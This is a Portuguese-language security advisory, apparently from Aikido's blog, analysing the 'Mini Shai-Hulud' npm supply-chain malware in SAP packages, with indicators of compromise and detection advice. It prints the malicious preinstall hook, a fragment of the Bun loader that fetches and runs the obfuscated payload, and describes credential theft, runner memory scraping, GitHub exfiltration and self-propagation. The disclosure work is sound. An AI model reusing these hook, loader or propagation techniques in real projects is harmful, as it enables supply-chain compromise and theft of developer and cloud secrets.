Aikido

O Mini Shai-Hulud ataca pacotes npm da SAP com um programa de roubo de credenciais baseado no Bun

Escrito por
Raphael Silva

Uma nova vulnerabilidade na cadeia de abastecimento do npm está a afetar o ecossistema de programadores SAP.

Os pacotes afetados que estamos a acompanhar até ao momento são:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

O padrão é familiar, mas também um pouco diferente: um pacote de confiança recebe um novo preinstall função, a função executa uma nova setup.mjs ficheiro, e esse carregador descarrega o ambiente de execução Bun JavaScript para executar uma grande carga útil ofuscada denominada execution.js.

A carga útil consiste numa estrutura de 11,7 MB destinada ao roubo de credenciais e à propagação. Esta estrutura recolhe credenciais de programadores locais, tokens do GitHub e do npm, secrets do GitHub Actions e secrets serviços na nuvem secrets AWS, Azure, GCP e Kubernetes. Em seguida, exfiltra os resultados encriptados através de repositórios públicos do GitHub.

O malware atribui a esses repositórios uma descrição pré-definida:

Apareceu um Mini Shai-Hulud

O Que Aconteceu

Os pacotes comprometidos utilizam a execução do ciclo de vida do npm. Pelo que observámos até agora, package.json foi alterado para incluir:

"scripts": {
    "preinstall": "node setup.mjs"
}

Isso significa que o código malicioso é executado automaticamente durante npm install, antes mesmo de a instalação ter terminado.

O pacote malicioso adiciona dois ficheiros:

  • setup.mjs
  • execution.js

O código do pacote normal continua a parecer o pacote SAP legítimo. No @cap-js/sqlite@2.2.2 na amostra, os ficheiros normais correspondem perfeitamente @cap-js/sqlite@2.2.1 byte a byte. O compromisso consiste no gancho de instalação e nos ficheiros de carga útil adicionados.

Ponto de entrada provável

Uma pista divulgada publicamente aponta para uma causa provável: um token do npm exposto nas compilações de pull requests através do CircleCI.

Isso coincide com o que constatámos em SAP/ferramenta-de-compilação-mta-na-nuvem. No dia 29 de abril, um rascunho de comunicado de imprensa de curta duração intitulado característica: aceleração do CI foi inaugurado em gruposbftechrecruiter/harkonnen-navigator-149. O PR foi encerrado em poucos minutos e o ramo foi posteriormente submetido por force push, deixando o diff atual no GitHub vazio.

CircleCI mas manteve a parte importante. Uma versão de relações públicas baseada em pull/1223 confirmou o commit a959014aa7b7fc37a9b5730c951776e7db2920a6, que instalou um carregador de pães em bin/config.mjs, adicionou uma carga útil ofuscada em bin/mbt.js, e alterei o comando de teste para:

node ./bin/config.mjs && node ./bin/mbt

Esse teste foi executado no âmbito de um trabalho de relações públicas em que a CircleCI listou secrets do projeto ocultados, incluindo CLOUD_MTA_BOT_NPM_TOKEN, CLOUD_MTA_BOT_GITHUB_TOKEN, tokens OIDC do CircleCI, credenciais do Docker Hub, credenciais Cloud e outras variáveis relacionadas com a versão.

Os registos também revelaram avisos do Octokit relativos a POST https://api.github.com/user/repos, o que corresponde ao comportamento de exfiltração do malware no GitHub.

Isto torna a compilação do PR do CircleCI a principal pista para o roubo inicial de credenciais.

Como funciona o malware

A primeira fase, setup.mjs, é um programa de inicialização do Bun. Verifica o sistema operativo e a arquitetura, descarrega o Bun 1.3.13 do GitHub quando necessário, extrai o ficheiro binário e utiliza o Bun para o executar execution.js.

const BUN_VERSION = '1.3.13';
const ENTRY_SCRIPT = 'execution.js';
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
execFileSync(binPath, [entryScriptPath], { stdio: 'inherit', cwd: SCRIPT_DIR });

A segunda fase, execution.js, é uma única carga útil grande e ofuscada. Utiliza uma camada personalizada de codificação de cadeias de caracteres denominada ctf-scramble-v2, verifica se está a ser executado em CI, encerra a execução se as configurações de localização estiverem definidas para o russo e torna-se um serviço em máquinas que não sejam de CI.

O que rouba

A carga útil foi concebida para atingir tanto os portáteis dos programadores como os executores de CI/CD.

Tenta recolher:

  • Tokens do GitHub, incluindo os resultados de token de autenticação gh
  • tokens do npm provenientes de .npmrc
  • variáveis de ambiente
  • secrets do GitHub Actions
  • Identidade AWS STS, secrets Secrets e parâmetros do SSM
  • Subscrições do Azure, nomes do Key Vault e valores dos segredos do Key Vault
  • Identidade do projeto GCP e valores do Secret Manager
  • Tokens de contas de serviço do Kubernetes
  • Configurações do Claude, configurações do MCP, bases de dados de tokens do GCP, caches de tokens do Azure, configurações do Signal, carteiras Electrum e ficheiros de configuração de VPN

O caminho do GitHub Actions é particularmente preocupante. A carga útil inclui um programa auxiliar em Python incorporado que pesquisa /proc para o Corredor.Trabalhador processo, lê a sua memória e extrai estruturas secretas mascaradas do executor.

Palavra-chave para exfiltração e propagação no GitHub

O malware utiliza o GitHub como canal de exfiltração.

A nova palavra-chave de propagação é:

OhNãoOQueEstáAAcontecerComO GitHub

O malware procura esta sequência de caracteres nos commits do GitHub e utiliza as mensagens de commit correspondentes como um ponto de entrega oculto. As mensagens de commit que correspondem a OhNoWhatsGoingOnWithGitHub:<base64> são descodificados em tokens do GitHub e verificados para permitir o acesso ao repositório.

Quando o malware consegue criar um repositório, utiliza nomes aleatórios inspirados na série «Dune» e define a descrição do repositório como:

Apareceu um Mini Shai-Hulud

e grava os ficheiros de resultados encriptados em:

results/results-<timestamp>-<counter>.json

Os dados são comprimidos e encriptados antes da gravação utilizando o algoritmo AES-256-GCM, sendo a chave AES protegida por uma chave RSA incorporada.

Lógica de propagação

A carga útil contém a lógica necessária para a implementação nos fluxos de trabalho de desenvolvimento e lançamento.

Nas amostras analisadas, o malware verifica se existe alguma automação de lançamento do GitHub Actions relacionada com cap-js/cds-dbs. Se detetar um fluxo de trabalho de lançamento nesse contexto de repositório, pode modificar um arquivo tar do pacote da seguinte forma:

  • copiando a carga útil atual para execution.js
  • escrita setup.mjs
  • configuração scripts.preinstall = "node setup.mjs"
  • incrementar a versão do patch
  • reempacotar o tarball

Tenta também utilizar tokens roubados do GitHub Actions para enviar ficheiros para repositórios:

  • .vscode/tasks.json
  • .vscode/setup.mjs
  • .claude/execution.js
  • .claude/setup.mjs
  • .claude/settings.json

Essas alterações utilizam:

tarefa: atualizar dependências

com o autor:

claude <claude@users.noreply.github.com>

A SAP como alvo

Os pacotes em questão integram-se nos fluxos de trabalho normais de desenvolvimento do SAP. @cap-js/sqlite, @cap-js/postgres, e @cap-js/db-service fazem parte do ecossistema de bases de dados SAP CAP, enquanto mbt é utilizado nos fluxos de trabalho de compilação do SAP Cloud .

Isso faz com que esta campanha tenha um número reduzido de pacotes, mas um impacto potencialmente elevado. É provável que estes pacotes sejam executados em máquinas de programadores e em executores de integração contínua (CI) que tenham acesso ao GitHub, ao npm, a credenciais na nuvem e secrets de implementação empresarial.

Detecção e mitigação

Pesquise em ficheiros de bloqueio, caches de pacotes, registos de CI, registos internos, repositórios de artefactos e máquinas de programadores para:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48
  • setup.mjs
  • execution.js
  • preinstall scripts em execução ficheiro setup.mjs
  • Pão 1.3.13 downloads durante a instalação do pacote

Pesquisar no GitHub por:

  • resultados da pesquisa de commit para OhNãoOQueEstáAAcontecerComO GitHub: https://github.com/search?q=OhNoWhatsGoingOnWithGitHub&type=commits
  • repositórios com descrição Apareceu um Mini Shai-Hulud
  • commits que contêm OhNãoOQueEstáAAcontecerComO GitHub
  • commits intitulados tarefa: atualizar dependências
  • commits criados por claude <claude@users.noreply.github.com>
  • inesperado .claude/ ou .vscode/setup.mjs files
  • resultados/resultados-*.json ficheiros em repositórios públicos recém-criados

Se algum pacote afetado tiver sido instalado, atualize secrets. Não limite a atualização aos tokens do npm. A carga maliciosa tem como alvo o GitHub, o npm, os fornecedores de serviços na nuvem, o Kubernetes, secrets de CI e as ferramentas locais de desenvolvimento.

Como o Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Endpoint Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Impeça o malware antes que ele seja instalado.

Para proteção futura, considere Aikido Chain (código aberto). O Safe Chain integra-se no seu fluxo de trabalho atual, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando os pacotes com base Aikido antes da instalação.

Indicadores de Comprometimento

Pacotes afetados:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

Hashes dos arquivos analisados @cap-js/sqlite@2.2.2 exemplo:

  • setup.mjs: 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34
  • execution.js: 6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95
  • ferramenta de captura de memória integrada do GitHub Runner: 29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7

Cordas e marcadores:

  • Apareceu um Mini Shai-Hulud
  • OhNãoOQueEstáAAcontecerComO GitHub (palavra-chave de propagação / marcador de entrega secreta de commit no GitHub)
  • ctf-scramble-v2
  • tmp.987654321.lock
  • tarefa: atualizar dependências
  • claude@users.noreply.github.com

URLs e pontos de extremidade:

  • hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
  • hxxps://api.github[.]com/search/commits?q=OhNoWhatsGoingOnWithGitHub&sort=author-date&order=desc&per_page=50
  • hxxp://169.254.169.254
  • hxxp://169.254.170.2
  • hxxp://[fd00:ec2::254]

Compartilhar:

https://www.aikido.dev/blog/mini-shai-hulud-has-appeared

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc

Assine para receber notícias sobre ameaças.

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.